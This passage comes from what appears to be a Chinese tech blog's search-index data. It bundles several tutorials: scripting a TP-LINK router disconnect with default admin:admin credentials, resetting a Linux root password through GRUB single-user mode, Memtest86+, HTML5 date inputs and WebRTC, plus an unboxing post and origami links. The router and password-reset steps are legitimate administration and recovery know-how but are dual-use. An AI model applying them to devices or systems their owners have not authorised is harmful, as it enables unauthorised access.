找到關鍵的請求之後，還要看一下認證的機制，以 TP-LINK 而言，他是使用 basic access authentication 的方式認證的，而這種認證方式很簡單，只是將帳號密碼經過 base64 編碼後，放在請求的表頭裡面而已，所以這裡只要再把 Authorization 這個表頭欄位內容複製下來，之後再放進程式中即可：\nAuthorization: Basic YWRtaW46YWRtaW4= 這樣事前的準備就算完成了，接著就可以開始撰寫程式。\nJava 其實只要釐清了關鍵請求的 URL 網址與它的認證機制，剩下的就是使用程式送出一個 HTTP 請求而已，這是使用 Java 送出斷線請求的程式碼：\n// 建立 URL 物件 URL myUrl = new URL(\u0026#34;http://192.168.0.1/userRpm/StatusRpm.htm?Disconnect=Disconnect\u0026amp;wan=1\u0026#34;); // 開啟 URLConnection URLConnection myConn = myUrl.openConnection(); // 設定帳號密碼 myConn.setRequestProperty(\u0026#34;Authorization\u0026#34;, \u0026#34;Basic YWRtaW46YWRtaW4=\u0026#34;); // 連線 myConn.connect(); // 取回資料（資料本身沒有用，不過好像如果不加這行就無法運作） myConn.getHeaderFields(); 程式本身很簡單，重點就是要把之前的關鍵請求的網址與認證表頭放進來。如果想要寫一個可以動態輸入帳號密碼的程式，就再加上一個 base64 的編碼動作，將帳號密碼編碼後再放進去即可。\n執行上面這段程式碼之後，就會馬上讓路由器斷線，而如果要讓他再次重新連線，就要再送一次連線指令的請求，實作方式與斷線的情況大同小異，請自行從上面的程式修改。\nPerl 如果要以 Perl 語言來實作，可以使用 HTTP::Request 與 LWP::UserAgent 兩個模組，基本上的概念都相同：\n#!/usr/bin/perl use HTTP::Request; use LWP::UserAgent; # 建立請求 $request = HTTP::Request-\u0026gt;new(GET =\u0026gt; \u0026#39;http://192.168.0.1/userRpm/StatusRpm.htm?Disconnect=Disconnect\u0026amp;wan=1\u0026#39;); # 設定帳號與密碼 $request-\u0026gt;authorization_basic(\u0026#39;admin\u0026#39;, \u0026#39;admin\u0026#39;); my $ua = LWP::UserAgent-\u0026gt;new; # 送出請求 my $response = $ua-\u0026gt;request($request); Python 如果要以 Python 實作，建議使用 Requests 函式庫，在 Ubuntu Linux 中可以使用 apt 安裝：\nsudo apt-get install python-requests 這樣實作就會簡單很多：\n#!/usr/bin/python import requests from requests.auth import HTTPBasicAuth requests.get(\u0026#39;http://192.168.0.1/userRpm/StatusRpm.htm?Disconnect=Disconnect\u0026amp;wan=1\u0026#39;, auth=HTTPBasicAuth(\u0026#39;admin\u0026#39;, \u0026#39;admin\u0026#39;)) 其他工具 除了一般的程式語言之外，也有許多其他的工具可以達到相同的功能，例如 cURL：\ncurl --user admin:admin \u0026#39;http://192.168.0.1/userRpm/StatusRpm.htm?Disconnect=Disconnect\u0026amp;wan=1\u0026#39; 或是 wget：\nwget -qO- --http-user=admin --http-password=admin \u0026#39;http://192.168.0.1/userRpm/StatusRpm.htm?Disconnect=Disconnect\u0026amp;wan=1\u0026#39; 這兩個指令會送出請求，然後把回應的資料輸出至標準輸出（也就是直接印出來在螢幕上），如果不想看到這些輸出，可以在結尾加上 \u0026gt;/dev/null（只適用於 Linux 或 Mac OS X 平台）。\n","permalink":"https://blog.gtwang.org/programming/java-tp-link-router-adsl-change-ip/","summary":"\u003cp\u003e本文以 TP-LINK 的 TL-WR741ND 路由器（router）為例，示範如何使用各種程式語言與工具遠端控制路由器的 ADSL 連線（斷線並重新連線），自動更換網路的 IP 位址。\u003c/p\u003e\n\u003cp\u003e現在市面上大部分的路由器（或是 IP 分享器）都有網頁管理的介面，使用者可以透過網頁登入之後，管理路由器中的各種功能，而如果要更換 ADSL 的 IP 位址，最簡單的方式就是在網頁管理介面中，手動重新連線，由於非固定制的 ADSL 每次連線都會配發不同的 IP 位址，這樣自然就可以獲得一個新的 IP 位址了，這就是一般更換 IP 位址的原理。\u003c/p\u003e","title":"用程式控制 TP-LINK 路由器的 ADSL 連線，自動更換 IP 位址"},{"content":"Linux 忘記登入的密碼怎麼辦？以 GRUB 開機進入單機模式，即可輕鬆修改密碼，不用重灌，這裡有詳細的教學。\n忘記 Linux 密碼導致無法登入是一個很常見的問題，如果是初學者不會處理，最後無可奈何大都只好重灌，其實重設 Linux 密碼的過程並不難，以下我們以 Ubuntu Linux 為例，示範如何以 GRUB 開機進入單機模式（Single User Mode），用指令重新設定 Linux 的密碼。\nStep 1\n在開機時，按下鍵盤左邊的「Shift」鍵或是左上角的「Esc」鍵，開啟 GRUB 開機選單。\n看到這個畫面時，您可以使用上下鍵選擇開機的模式或是記憶體測試，這裡我們選擇第一個正常開機的選項，然後按下鍵盤上的「e」鍵。\nStep 2\n接著會看一個參數編輯的視窗。\nStep 3\n尋找有 linux /boot/vmlinuz-X.XX.X 字樣開頭的那一行。\nStep 4\n在 linux /boot/vmlinuz-X.XX.X 這一行的最後，加上 single 參數。\nlinux /boot/vmlinuz-X.XX.X 這一行在不同的 Linux 版本可能有些差異，不過這裡並不會有影響，不管中間的內容是什麼，只要在結尾加上 single 參數即可。\nStep 5\n編輯好參數之後，按下 Ctrl + x 或是 F10 開機，接著就會進入單機模式。單機模式的畫面會類似這樣：\nStep 6\n在單機模式之下，使用 passwd 更改一般使用者（或 root）的密碼：\n這裡示範是更改一般使用者的密碼，如果要直接更改 root 的密碼，就直接執行 passwd 不要加任何參數即可。\nStep 7\n最後執行 reboot 重新開機，就可以用新的密碼登入了。\n","permalink":"https://blog.gtwang.org/linux/linux-grub-change-root-password/","summary":"\u003cp\u003eLinux 忘記登入的密碼怎麼辦？以 GRUB 開機進入單機模式，即可輕鬆修改密碼，不用重灌，這裡有詳細的教學。\u003c/p\u003e\n\u003cp\u003e忘記 Linux 密碼導致無法登入是一個很常見的問題，如果是初學者不會處理，最後無可奈何大都只好重灌，其實重設 Linux 密碼的過程並不難，以下我們以 Ubuntu Linux 為例，示範如何以 GRUB 開機進入單機模式（Single User Mode），用指令重新設定 Linux 的密碼。\u003c/p\u003e","title":"Linux 忘記密碼？以 GRUB 開機進入單機模式（Single User Mode）修改 root 密碼"},{"content":"這裡介紹如何使用 Memtest86+ 這個最熱門的記憶體測試程式來檢測記憶體，檢查記憶體是否有損壞。\n一般如果電腦使用了一段時間之後，常常發生莫名其妙的當機（死當，連滑鼠鍵盤都失效）、或是自己重開機等不穩定現象，這樣的狀況就有可能是記憶體損壞所造成的，可以先測試一下記憶體，如果是記憶體壞了，通常換一下記憶體就好了。\n另外當我們在採購新電腦時，剛買來的記憶體通常也都會先進行一下記憶體測試，看看記憶體是否有損壞，如果發現新的記憶體有問題，可以立即跟商家反應換貨。\nMemtest86+ 是一個免費且開放原始碼的記憶體測試工具，目前大多數人都是使用這個工具來進行記憶體的測試，是一個很熱門的工具。\n名稱：Memtest86+\n網址：https://www.memtest.org/\nMemtest86+ 可以從它的網站上免費下載，可以燒錄成光碟或是製作成可開機的 USB 隨身碟來使用，以下是 Memtest86+ 的使用教學。\nStep 1\n首先開啟 Memtest86+ 的官方網頁，找到「Download」連結。\nStep 2\n這裡有兩種方式可以選擇，一種是下載 ISO 檔燒錄成光碟，然後用光碟開機即可立即使用。另外一種方式是下載製作可開機 USB 隨身碟用的安裝檔，他可以自動將 Memtest86+ 安裝至 USB 隨身碟中，然後再使用 USB 隨身碟開機來使用。\n燒錄 ISO 檔的步驟很簡單，使用一般的燒錄軟體即可，這裡就不詳述了，我們示範製作可開機 USB 隨身碟的步驟。\nStep 3\n將製作可開機 USB 隨身碟用的安裝檔下載下來之後，先解壓縮後再執行，就會看到這個畫面。首先直接按下「I Agree」。\nStep 4\n接著要選擇 USB 隨身碟，選擇好之後，點選「Create」就會開始製作可開機的 USB 隨身碟。這裡建議將格式化的選項打勾，避免檔案系統不相容產生問題。\n這裡用來安裝 Memtest86+ 的 USB 隨身碟，裡面的資料會被抹除，所以請先確定 USB 隨身碟的資料都已經備份了。\nStep 5\n製作完成，點選「Next」。\nStep 6\n點選「Finish」關閉安裝程式。\nStep 7\n接著將製作好的 USB 隨身碟放進要測試的電腦中，使用 USB 隨身碟開機之後，就會直接進入這個記憶體測試畫面。\n這個時候就要等它慢慢測試了，測試的時間會因為記憶體大小而有不同，通常一測都是幾個小時。\n這個測試畫面的重點有三個地方：\n上方的 Pass：標示本次測試完成的百分比。 下方的 Pass：標示已經完成的測試次數。 Errors：標示偵測記憶體錯誤的次數。 基本上如果是一般的狀況，只要完成一次以上的測試（也就是下方的 Pass 至少是 1），而且都沒有發現錯誤（Errors 為 0），就表示記憶體沒有什麼問題。\nMemtest86+ 這個測試程式會一直不斷的重複進行測試，如果感覺記憶體沒問題，要離開測試程式的話，可以按 Esc 鍵，如果放著不管，它會一直測下去。\n如果記憶體有問題的話，在畫面的下方會出現紅色的錯誤列表：\n如果看到類似這樣的畫面，就表示您的記憶體有損壞了。\n","permalink":"https://blog.gtwang.org/useful-tools/memtest86-memory-test-tool/","summary":"\u003cp\u003e這裡介紹如何使用 Memtest86+ 這個最熱門的記憶體測試程式來檢測記憶體，檢查記憶體是否有損壞。\u003c/p\u003e\n\u003cp\u003e一般如果電腦使用了一段時間之後，常常發生莫名其妙的當機（死當，連滑鼠鍵盤都失效）、或是自己重開機等不穩定現象，這樣的狀況就有可能是記憶體損壞所造成的，可以先測試一下記憶體，如果是記憶體壞了，通常換一下記憶體就好了。\u003c/p\u003e","title":"Memtest86+ 使用教學：測試記憶體是否有問題的軟體工具"},{"content":"最近小米連續兩天促銷紅米的配件，兩天花了 202 元買完所有紅米 1S 的手機配件。\n最近運氣不錯，剛好碰到小米在促銷紅米的配件，第一天紅米座充與電池加上保護貼只要 1 元，第二天則是保護套加上耳機也是 1 元，兩天我都買到，加上運費總共花了 202 元，就把所有該買的都買齊了。\n下訂後，記下記錄下 PIN 碼，12 小時內到 7-ELEVEN 用 ibon 印出繳費單繳費，隔兩天就收到物品了。\n外盒還有貼封條。\n盒蓋上還印有小米的 logo。\n這是第一天用 101 元買的座充、電池與保護貼。\n以下是第二天買的保護套與耳機。\n右邊的是保護套，左邊的是耳機。\n保護套內側有一邊是黏貼手機的地方，將塑膠膜撕下後即可黏貼在手機上。\n黏貼上紅米手機後的樣子。\n原廠的保護套，孔位都很準。\n這是黑色的小米活塞耳機簡裝版。\n耳機線上面的播放與音量控制按鍵。\n控制鍵的背面是麥克風。\n小米耳機還有防偽標籤，上面的二維條碼用手機掃描之後，就會連到小米的官方網站驗證您購買的耳機是否是正品。\n","permalink":"https://blog.gtwang.org/unboxing/mi-thanks/","summary":"\u003cp\u003e最近小米連續兩天促銷紅米的配件，兩天花了 202 元買完所有紅米 1S 的手機配件。\u003c/p\u003e\n\u003cp\u003e最近運氣不錯，剛好碰到小米在促銷紅米的配件，第一天紅米座充與電池加上保護貼只要 1 元，第二天則是保護套加上耳機也是 1 元，兩天我都買到，加上運費總共花了 202 元，就把所有該買的都買齊了。\u003c/p\u003e","title":"只花 202 元買完所有紅米 1S 的手機配件！"},{"content":"HTML5 中提供了一項新的日期輸入功能，可以提供使用者一個很方便選擇日期的介面，開發者也可以不必再依靠 jQuery 等 JavaScript 來實作這樣的功能。\n在網頁中若要讓使用者輸入日期，傳統上的做法都是使用 jQuery 或是類似的 JavaScript 工具，另外寫一個日期選擇功能，而現在 HTML5 提供了一項原生的日期輸入功能，讓開發者可以不用再使用額外的工具就可以達到同樣的功能。\n基本用法 基本的 HTML5 日期輸入功能用法就像這樣：\n\u0026lt;label for=\u0026#34;bookdate\u0026#34;\u0026gt;日期：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;date\u0026#34; id=\u0026#34;bookdate\u0026#34; placeholder=\u0026#34;2014-09-18\u0026#34;\u0026gt; 產生出來的效果為：\n日期： 由於這個功能是 HTML5 最新的標準，一些比較舊的瀏覽器可能不支援，若遇到不支援的狀況，瀏覽器就會以一般的文字欄位來顯示，讓使用者使用鍵盤輸入，而這裡的 placeholder 就是用來提供使用者一個標準的格式，讓使用者依照這樣的格式輸入。\n限制日期範圍 如果要限制使用者可以選擇的日期範圍，可以加上 min 與 max 兩個參數：\n\u0026lt;input type=\u0026#34;date\u0026#34; id=\u0026#34;bookdate\u0026#34; value=\u0026#34;2014-09-09\u0026#34; min=\u0026#34;2014-09-09\u0026#34; max=\u0026#34;2014-09-18\u0026#34;\u0026gt; 產生出來的效果為：\n日期： 使用 PHP 限制日期範圍 如果需要使用 PHP 產生限制日期範圍，這裡有一個範例可以參考：\n\u0026lt;input type=\u0026#34;date\u0026#34; id=\u0026#34;bookdate\u0026#34; min=\u0026#34;\u0026lt;?=date(\u0026#39;Y-m-d\u0026#39;)\u0026gt;\u0026#34; value=\u0026#34;\u0026lt;?=date(\u0026#39;Y-m-d\u0026#39;)\u0026gt;\u0026#34; max=\u0026#34;\u0026lt;?=date(\u0026#39;Y-m-d\u0026#39;, strtotime(\u0026#34;+7 day\u0026#34;, time()))\u0026gt;\u0026#34; value=\u0026#34;\u0026lt;?=date(\u0026#39;Y-m-d\u0026#39;)\u0026gt;\u0026#34; \u0026gt; 這裡是使用 PHP 將日期範圍限制在從現在算起的一週之內。\n使用 JavaScript 限制日期範圍 這是 JavaScript 的版本，同樣是將日期範圍限制在從現在算起的一週之內。\n\u0026lt;script\u0026gt; function convertToISO(timebit) { // remove GMT offset timebit.setHours(0, -timebit.getTimezoneOffset(), 0, 0); // format convert and take first 10 characters of result var isodate = timebit.toISOString().slice(0, 10); return isodate; } var bookdate = document.getElementById(\u0026#39;bookdate\u0026#39;); var currentdate = new Date(); bookdate.min = convertToISO(currentdate); bookdate.placeholder = bookdate.min; var futuredate = new Date(); // go forward 7 days into the future futuredate.setDate(futuredate.getDate() + 7); bookdate.max = convertToISO(futuredate); \u0026lt;/script\u0026gt; 進階日期選擇規則 step 參數可以指定選擇日期時，間隔的天數，如果 step 指定為 7 就代表只能選擇每一週中的某一天。\n\u0026lt;datalist\u0026gt; 可以用來列出可以選擇的列表，讓使用者更方便選擇：\n\u0026lt;label for=\u0026#34;vacations\u0026#34;\u0026gt;選擇節日：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;date\u0026#34; list=\u0026#34;vacation-days\u0026#34; id=\u0026#34;vacations\u0026#34;\u0026gt; \u0026lt;datalist id=\u0026#34;vacation-days\u0026#34;\u0026gt; \u0026lt;option label=\u0026#34;Thanksgiving\u0026#34;\u0026gt;2014-10-13\u0026lt;/option\u0026gt; \u0026lt;option label=\u0026#34;Remembrance Day\u0026#34;\u0026gt;2014-11-11\u0026lt;/option\u0026gt; \u0026lt;option label=\u0026#34;Christmas Day\u0026#34;\u0026gt;2014-12-25\u0026lt;/option\u0026gt; \u0026lt;option label=\u0026#34;Boxing Day\u0026#34;\u0026gt;2014-12-26\u0026lt;/option\u0026gt; \u0026lt;/datalist\u0026gt; 可用的選項使用 \u0026lt;option\u0026gt; 來指定，而在原本的 \u0026lt;input\u0026gt; 中要再加入 list 來指定 \u0026lt;datalist\u0026gt; 的 id，產生出來的效果為：\n選擇節日： 2014-10-13 2014-11-11 2014-12-25 2014-12-26 使用 JavaScript 篩選日期 目前 HTML5 所提供的日期篩選功能還不是很完備，如果需要比較複雜的篩選規則，可以使用 JavaScript 來判斷。例如限制不可以選擇週日：\n\u0026lt;label for=\u0026#39;massage\u0026#39;\u0026gt;選擇日期（週日除外）：\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;date\u0026#34; id=\u0026#34;massage\u0026#34;\u0026gt; 加上 JavaScript 來篩選選擇的日期：\n\u0026lt;script\u0026gt; var date = document.getElementById(\u0026#39;massage\u0026#39;), function noSundays(e){ // Days in JS range from 0-6 where 0 is Sunday and 6 is Saturday var day = new Date(e.target.value).getUTCDay(); if ( day == 0 ){ e.target.setCustomValidity(\u0026#39;不可選擇週日！\u0026#39;); } else { e.target.setCustomValidity(\u0026#39;\u0026#39;); } } date.addEventListener(\u0026#39;input\u0026#39;,noSundays); \u0026lt;/script\u0026gt; 最後，加上 CSS 設定選擇錯誤時的樣式：\n\u0026lt;style\u0026gt; input:invalid { background-color: #E00; } \u0026lt;/style\u0026gt; 產生出來的效果為：\n選擇日期（週日除外）： 這樣當使用者選擇到週日的時候，欄位就會變成我們指定的紅色。\n","permalink":"https://blog.gtwang.org/web-development/html5-date-input/","summary":"\u003cp\u003eHTML5 中提供了一項新的日期輸入功能，可以提供使用者一個很方便選擇日期的介面，開發者也可以不必再依靠 jQuery 等 JavaScript 來實作這樣的功能。\u003c/p\u003e\n\u003cp\u003e在網頁中若要讓使用者輸入日期，傳統上的做法都是使用 jQuery 或是類似的 JavaScript 工具，另外寫一個日期選擇功能，而現在 HTML5 提供了一項原生的日期輸入功能，讓開發者可以不用再使用額外的工具就可以達到同樣的功能。\u003c/p\u003e","title":"HTML5 的日期輸入功能教學"},{"content":"這裡介紹如何使用 WebRTC 在網頁中擷取本地端的多媒體影像串流，包含聲音與影像。\n在過去有許多的網頁應用程式都有即時溝通（real time communication，簡稱 RTC）的需求，也就是遠端視訊聊天的功能，例如早先的 Google Talk 的視訊聊天、Facebook 聊天與後來發展的 Google Hangouts 等，這些都是用來讓人及時溝通的工具，但是在以前若要使用這樣的功能都要另外下載與安裝一些外掛程式，而安裝這些外掛的程序通常都很麻煩，甚至容易出問題，而最重要的問題是使用者可能一開始就不想安裝它了。\n在另一方面，對於開發者而言，這樣的外掛程式在開發、除錯與維護的難度會比一般的程式還要高，相較於一般的網頁應用程式而言，通常會需要引入許多額外的技術才能達成這樣的需求。\nWebRTC 是一項新興的網頁技術，它可以讓瀏覽器在不需要安裝任何外掛的情況下，直接提供遠端視訊聊天的功能，目前其所實作的功能有三項：\nMediaStream（即 getUserMedia）：從攝影機與麥克風取得影像與聲音的串流。 RTCPeerConnection：負責連線的建立、資料加密與頻寬管理等。 RTCDataChannel：負責傳送一般性的資料。 有了這幾項 API 所提供的功能，瀏覽器就可以直接進行視訊聊天，以下我們介紹這三個 API 函數的使用方式。\nMediaStream（即 getUserMedia） MediaStream API 代表一個多媒體（影像與聲音）的同步串流（synchronized stream），開發者可以利用這個功能擷取本地端的多媒體串流，並顯示在瀏覽器上或是進行進一步的傳送或處理。\n我們直接來看一個 simpl.info 的範例，您可以直接用瀏覽器開啟它，當這頁面開啟時，瀏覽器會詢問您是否允許使用相機，請選擇「允許」。\n啟用相機的功能之後，您應該就可以在畫面上看到即時的影像了，接著我們來看他的 JavaScript 程式碼：\nnavigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia; var constraints = {audio: false, video: true}; var video = document.querySelector(\u0026#34;video\u0026#34;); function successCallback(stream) { window.stream = stream; // stream available to console if (window.URL) { video.src = window.URL.createObjectURL(stream); } else { video.src = stream; } } function errorCallback(error){ console.log(\u0026#34;navigator.getUserMedia error: \u0026#34;, error); } navigator.getUserMedia(constraints, successCallback, errorCallback); 您可以發現其實這樣擷取影像串流的程式很簡單，程式的最後一行呼叫了 navigator.getUserMedia() 進行影像串流的擷取，而這個函數有三個參數，分別為：\nconstraints：各種參數設定的物件。 successCallback：執行成功的回呼函數（callback function）。 errorCallback：執行失敗的回呼函數。 這裡它透過 constraints 設定只擷取影像（video: true），而不要擷取聲音（audio: false），其他可用的參數可以參考 W3C 的說明。\n其餘兩個回呼函數中則定義了執行成功與失敗時要執行哪些動作，當擷取串流失敗時就會呼叫 errorCallback()，輸出一行錯誤訊息至 console 中，而如果成功了，就會呼叫 successCallback()。\nsuccessCallback() 函數所傳入的 stream 參數是一個 MediaStream，這個例子為了要讓初學者方便學習，故意把這個變數指定為全域變數，所以我們可以直接打開 simpl.info 的範例，在瀏覽器的 console 中直接查看 stream 變數的內容。\n當取得了 MediaStream 這個多媒體串流之後，就直接把它指定給 video，這樣就可以讓影像的串流直接顯示在瀏覽器上了。\n除了將影像串流直接顯示在瀏覽器上之外，您也可以對串流做一些處理，以下是一些範例：\nWebcam Toy：使用 WebGL 對影像做一些特效處理。 FaceKat：以人臉位置來操控的小遊戲。 ASCII Camera：由影像產生 ASCII 影像。 MediaStream 基本上只有單純的多媒體串流擷取功能，如果要想將串流透過網路傳送出去，跟遠端的電腦進行視訊，就要配合另外一個 RTCPeerConnection API 才行，這個部分將在下一篇文章中解說。\n繼續閱讀：WebRTC 入門教學（二）：以 RTCPeerConnection 建立 Peer-to-peer 連線\n","permalink":"https://blog.gtwang.org/web-development/webrtc-media-stream/","summary":"\u003cp\u003e這裡介紹如何使用 WebRTC 在網頁中擷取本地端的多媒體影像串流，包含聲音與影像。\u003c/p\u003e\n\u003cp\u003e在過去有許多的網頁應用程式都有即時溝通（real time communication，簡稱 RTC）的需求，也就是遠端視訊聊天的功能，例如早先的 Google Talk 的視訊聊天、Facebook 聊天與後來發展的 Google Hangouts 等，這些都是用來讓人及時溝通的工具，但是在以前若要使用這樣的功能都要另外下載與安裝一些外掛程式，而安裝這些外掛的程序通常都很麻煩，甚至容易出問題，而最重要的問題是使用者可能一開始就不想安裝它了。\u003c/p\u003e","title":"WebRTC 入門教學（一）：多媒體影像串流擷取"},{"content":"上一篇文章中我們已經可以使用 MediaStream 擷取本地端的多媒體串流，現在我們要利用 RTCPeerConnection 建立連線，準備將串流傳送出去。\nICE 架構 在建立連線之前，我們要先討論一下，peer-to-peer 連線建立上的問題，理論上來說只要電腦都有連上網路，就可以透過網路建立一條連線直接溝通，不過很多時候因為 NAT 或是防火牆等問題，會讓您無法直接建立這樣的連線，這時候可以使用 ICE 的架構來幫助我們建立一個 peer-to-peer 的連線。\nICE 靠著 STUN 與 TURN 協定來處理 NAT 穿透（NAT traversal）與其他棘手的問題。\n一開始 ICE 會嘗試以 UDP 的方式直接連線到另一方，在這個過程中，STUN 伺服器只有提供一個簡單的功能，就是讓在 NAT 中的 client 獲取自己本身公開的 IP 位址與連接埠。\n如果 UDP 的方式失敗了，ICE 會接著嘗試以 TCP 的方式連線，先嘗試 HTTP，若不行則再嘗試 HTTPS。如果直接連線都失敗了，則改以 TURN 伺服器作為中繼站，讓所有的資料都透過 TURN 伺服器來轉送。\n而這裡各種不同的連線組態（IP 位址與連接埠），就稱為 ICE candidates，當雙方要建立 peer-to-peer 連線時，就會先進行這樣的流程，找到一個可用且最好的 ICE candidate 來使用。\n關於 ICE, STUN 與 TURN 可以參考 2013 Google I/O WebRTC 的解說。\n信令（signaling） WebRTC 的 RTCPeerConnection 會負責多媒體串流的傳送，不過除此之外，我們還會需要一個額外的機制來傳送一些控制與建立連線用的信令（signaling），而這個信令主要包含下面這些資訊：\n連線 session 控制資訊：用於建立與關閉連線，錯誤訊息處理。 網路資訊：提供對方本地端之 IP 位址與連接埠（port）。 多媒體格式資訊：記錄瀏覽器可使用的 codecs 與解析度等資訊。 在真正的視訊連線要建立之前，都一定要使用這樣的信令機制讓兩方進行一些必要的設定，接著才能建立起視訊連線，然而傳送信令的方式與協定並沒有定義在 RTCPeerConnection API 當中，所以我們要另外找一個方式來負責信令的傳送。\n開發者可以自由選擇傳送信令的方式與協定，例如 SIP、XMPP 或任何可以進行雙向溝通的協定都可以，apprtc.appspot.com 是利用 XHR 與 Channel API 來傳送，codelab 則是使用 Node.js 的 Socket.io 來傳送信令。\n這裡我們使用 WebRTC W3C Working Draft 的範例來解說，這裡已經假設信令的傳送機制已經有了（透過 SignalingChannel() 建立）。\nvar signalingChannel = new SignalingChannel(); var configuration = { \u0026#34;iceServers\u0026#34;: [{ \u0026#34;url\u0026#34;: \u0026#34;stun:stun.example.org\u0026#34; }] }; var pc; // 呼叫 start() 開始建立連線 function start() { pc = new RTCPeerConnection(configuration); // 當有任何 ICE candidates 可用時， // 透過 signalingChannel 將 candidate 傳送給對方 pc.onicecandidate = function (evt) { if (evt.candidate) signalingChannel.send(JSON.stringify({ \u0026#34;candidate\u0026#34;: evt.candidate })); }; // let the \u0026#34;negotiationneeded\u0026#34; event trigger offer generation pc.onnegotiationneeded = function () { pc.createOffer(localDescCreated, logError); } // once remote stream arrives, show it in the remote video element pc.onaddstream = function (evt) { remoteView.src = URL.createObjectURL(evt.stream); }; // get a local stream, show it in a self-view and add it to be sent navigator.getUserMedia({ \u0026#34;audio\u0026#34;: true, \u0026#34;video\u0026#34;: true }, function (stream) { selfView.src = URL.createObjectURL(stream); pc.addStream(stream); }, logError); } function localDescCreated(desc) { pc.setLocalDescription(desc, function () { signalingChannel.send(JSON.stringify({ \u0026#34;sdp\u0026#34;: pc.localDescription })); }, logError); } signalingChannel.onmessage = function (evt) { if (!pc) start(); var message = JSON.parse(evt.data); if (message.sdp) { pc.setRemoteDescription(new RTCSessionDescription(message.sdp), function () { // 當接收到 offer 時，要回應一個 answer if (pc.remoteDescription.type == \u0026#34;offer\u0026#34;) pc.createAnswer(localDescCreated, logError); }, logError); } else { // 接收對方的 candidate 並加入自己的 RTCPeerConnection pc.addIceCandidate(new RTCIceCandidate(message.candidate)); } }; function logError(error) { log(error.name + \u0026#34;: \u0026#34; + error.message); } 在開始建立連線時，我們要先呼叫上面定義的 start() 函數，首先建立 RTCPeerConnection 物件，接著進行以下的步驟：\n交換網路相關資訊 設定 RTCPeerConnection 物件的 onicecandidate handler，讓它可以在取得 ICE candidates 時可以直接透過 signalingChannel 傳送給對方。\n傳送的機制就依照上面 SignalingChannel() 的實作方式而定，例如 WebSocket 等。\n而在對方接到 candidate 的資訊時，會呼叫 addIceCandidate 把這個 candidate 加入它的 RTCPeerConnection 中。\n交換多媒體相關資訊 使用 Session Description Protocol（SDP）協定的 offer 與 answer 來交換多媒體相關的資訊（例如解析度與 codec 等），傳輸的通道同樣是使用上面建立的信令傳輸管道。\n首先呼叫 createOffer() 並傳入兩個回呼函數，它會建立一個 RTCSessionDescription 物件（包含了多媒體相關的設定資訊），當這個物件建立時會直接傳入第一個回呼函數中（localDescCreated()），而其第二個回呼函數只是單純的輸出錯誤訊息而已。\n當 RTCSessionDescription 物件建立好的時候，我們在 localDescCreated() 函數中透過 setLocalDescription() 將該物件設定為 local description，再將其傳送給對方。\n對方接收到這個 description 資料之後，透過 new RTCSessionDescription(message.sdp) 重建 RTCSessionDescription 物件，並呼叫 setRemoteDescription() 設定 remote description。\n當對方接收到 offer 的資料，必須回傳一個 answer 作為回應，而其建立與傳送的過程與 offer 大同小異，只不過是從遠端傳回本地端而已。\n當本地端接收到 answer 的回應時，同樣呼叫 setRemoteDescription() 設定 remote description，到這裡整個連線的前置作業就完成了。\n網路與多媒體的資訊交換可以同時進行，只是這兩種資訊都要在真正建立視訊連線之前完成。\n上述 offer 與 answer 的交換機制稱為 JavaScript Session Establishment Protocol（JSEP），當雙方都透過這樣的方式取得對方的資訊之後，就可以開始傳送多媒體的串流，進行視訊連線了。\n關於 JSEP 的機制，這裡有比較清楚的講解影片：\n基本上在這裡我們只需要處理視訊連線的前置設定，RTCPeerConnection 會負責解決其餘的多媒體串流問題，而信令管道的實作可以參考這裡。\n參考資料 HTML5 ROCKS ","permalink":"https://blog.gtwang.org/web-development/webrtc-peer-connection/","summary":"\u003cp\u003e\u003ca href=\"/web-development/webrtc-media-stream/\"\u003e上一篇\u003c/a\u003e文章中我們已經可以使用 \u003ccode\u003eMediaStream\u003c/code\u003e 擷取本地端的多媒體串流，現在我們要利用 \u003ccode\u003eRTCPeerConnection\u003c/code\u003e 建立連線，準備將串流傳送出去。\u003c/p\u003e\n\u003ch2 id=\"ice-架構\"\u003eICE 架構\u003c/h2\u003e\n\u003cp\u003e在建立連線之前，我們要先討論一下，peer-to-peer 連線建立上的問題，理論上來說只要電腦都有連上網路，就可以透過網路建立一條連線直接溝通，不過很多時候因為 NAT 或是防火牆等問題，會讓您無法直接建立這樣的連線，這時候可以使用 \u003ca href=\"https://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment\"\u003eICE\u003c/a\u003e 的架構來幫助我們建立一個 peer-to-peer 的連線。\u003c/p\u003e","title":"WebRTC 入門教學（二）：以 RTCPeerConnection 建立 Peer-to-peer 連線"},{"content":"這裡整理了許多關於紙藝的教學網站，包含摺紙、紙模型等教學，適合家長帶著小朋友一起來製作。\nOrigami Club Origami Club 是一個日文的摺紙教學網站，裡面有很豐富的摺紙教學，包含各種傳統的摺紙、動物、昆蟲、服裝、食物、家電等等，是一個很棒的網站。\n名稱：Origami Club\n網址：https://www.origami-club.com/\n每一個摺紙主題都有清楚的圖解說明，很容易學習。\n如果看不懂日文，它也有其他各種語言的版本，您可以選擇適合自己的語言，可惜中文的部分只有簡體的。\n這是英文版的圖解教學。\n除了靜態的圖解教學之外，還有動態的動畫教學，可以讓您更輕鬆了解整個過程。\norigami-fun origami-fun 也是另外一個摺紙教學網站，而它只有英文的版本。\n名稱：origami-fun\n網址：https://www.origami-fun.com/\n它的圖解教學跟 Origami Club 的差不多，都很清楚。\n另外它也有 YouTube 的影片教學。\n其他摺紙教學網站 摺紙教學網站除了以上介紹的兩個之外，以下還有一些，大家可以加減參考一下：\norigami.me Origami Resource Center origami-instructions.com Paper Craft Canon Paper Craft 有許多製作紙模型的版模，可以使用印表機印下來之後，再用膠水組裝成紙模型。\n名稱：Canon Paper Craft\n網址：https://creativepark.canon/en/index.html\n這個網站上有各種模型，使用者可以選擇自己喜歡的模型。\n每個模型都有對應的製作步驟與板模，都是以 PDF 檔的形式供使用者下載。\nPokemon Paper Craft Pokemon Paper Craft 也提供了許多紙模型的版模，使用印表機列印下來之後即可組裝。\n名稱：Pokemon Paper Craft\n網址：http://www.pokemonpapercraft.net/\n這是一個恐龍的紙模型。\n這是下載下來的板模，也都是 PDF 檔。\n我自己是拿空白紙摺好之後，給小朋友用彩色筆上色。\n","permalink":"https://blog.gtwang.org/children/origami-paper-craft-resources/","summary":"\u003cp\u003e這裡整理了許多關於紙藝的教學網站，包含摺紙、紙模型等教學，適合家長帶著小朋友一起來製作。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     